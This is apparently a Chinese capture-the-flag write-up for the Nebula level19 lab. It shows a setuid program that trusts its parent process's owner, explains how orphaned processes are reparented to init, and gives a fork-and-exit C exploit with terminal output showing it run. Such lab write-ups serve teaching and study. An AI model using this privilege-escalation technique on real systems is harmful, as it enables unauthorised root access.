这关要求我们突破一个程序,程序代码如下:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
这段程序的流程是这样的:当我们执行它时,它首先通过getppid()得到父进程pid号,然后再根据这个pid号找到/proc下为当前pid号的文件夹,如果这个文件夹属于root身份的,就执行shell。
这里需要了解下Linux中进程的销毁:Linux中的进程有父子关系,当子进程销毁时,父进程需要回收它。如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养它的是init进程,它的pid是1。init进程是Linux启动时创建的第一个进程,负责运行服务之类的事。收养它之后,孤儿进程就认init做爹了。 init不仅是孤儿进程的爹,还是其他所有进程的爹,或者祖爷爷,它的权限不用说了,肯定很大。
所以,突破这段程序的方法就是写一段代码,fork一个进程,并且在fork出的子进程执行完毕之前,将父进程结束掉,等init来回收它。而init的uid绝对是0。代码如下:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
pid_t pid;
pid = fork();
char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19_output",NULL}; //将getflag的内容重定向到/tmp/flag19_output中
if(pid == 0) //如果pid==0,则是子进程
{
execve("/home/flag19/flag19",argvs,NULL);
}else if(pid > 0){ //返回给父进程时,直接结束父进程,子进程就成了孤儿进程了
exit(0);
}
return 0;
}
编译并执行:
level19@nebula:/tmp$ vim flag19.c level19@nebula:/tmp$ gcc flag19.c level19@nebula:/tmp$ ./a.out level19@nebula:/tmp$ cat flag19 flag19.c flag19_output level19@nebula:/tmp$ cat flag19_output You have successfully executed getflag on a target account
参考: